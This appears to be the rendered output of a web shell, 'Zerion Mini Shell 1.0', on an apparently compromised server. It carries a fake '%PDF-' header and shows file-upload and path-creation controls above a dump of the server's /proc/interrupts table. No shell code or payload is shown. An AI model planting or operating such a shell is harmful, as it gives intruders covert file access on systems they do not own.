%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/
Upload File :
Create Path :
Current File : //proc/interrupts

           CPU0       CPU1       
  0:          8          0   IO-APIC   2-edge      timer
  1:          9          0   IO-APIC   1-edge      i8042
  4:       1072          0   IO-APIC   4-edge      ttyS0
  8:          0          1   IO-APIC   8-edge      rtc0
  9:          0          0   IO-APIC   9-fasteoi   acpi
 11:          0          0   IO-APIC  11-fasteoi   virtio5, uhci_hcd:usb1
 12:          0         15   IO-APIC  12-edge      i8042
 14:          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0   PCI-MSI 98304-edge      virtio3-config
 25:   43234318          0   PCI-MSI 98305-edge      virtio3-req.0
 26:          0   47897586   PCI-MSI 98306-edge      virtio3-req.1
 27:          1         14   PCI-MSI 49152-edge      virtio0-config
 28:          0  110756125   PCI-MSI 49153-edge      virtio0-input.0
 29:  130134459          0   PCI-MSI 49154-edge      virtio0-output.0
 30:         14          1   PCI-MSI 65536-edge      virtio1-config
 31:      19761          0   PCI-MSI 65537-edge      virtio1-input.0
 32:          0      44431   PCI-MSI 65538-edge      virtio1-output.0
 33:          0          0   PCI-MSI 81920-edge      virtio2-config
 34:          0          0   PCI-MSI 81921-edge      virtio2-control
 35:          0          0   PCI-MSI 81922-edge      virtio2-event
 36:          0          0   PCI-MSI 81923-edge      virtio2-request
 37:          0        256   PCI-MSI 81924-edge      virtio2-request
 38:          0          0   PCI-MSI 114688-edge      virtio4-config
 39:        227          0   PCI-MSI 114689-edge      virtio4-req.0
 40:          0        302   PCI-MSI 114690-edge      virtio4-req.1
NMI:          0          0   Non-maskable interrupts
LOC: 2309446678 2433278582   Local timer interrupts
SPU:          0          0   Spurious interrupts
PMI:          0          0   Performance monitoring interrupts
IWI:         16    3587720   IRQ work interrupts
RTR:          0          0   APIC ICR read retries
RES:   19566368   13921842   Rescheduling interrupts
CAL:  328229869  329948754   Function call interrupts
TLB:   43834217   43513292   TLB shootdowns
TRM:          0          0   Thermal event interrupts
THR:          0          0   Threshold APIC interrupts
DFR:          0          0   Deferred Error APIC interrupts
MCE:          0          0   Machine check exceptions
MCP:     232263     232263   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0   Posted-interrupt notification event
NPI:          0          0   Nested posted-interrupt event
PIW:          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0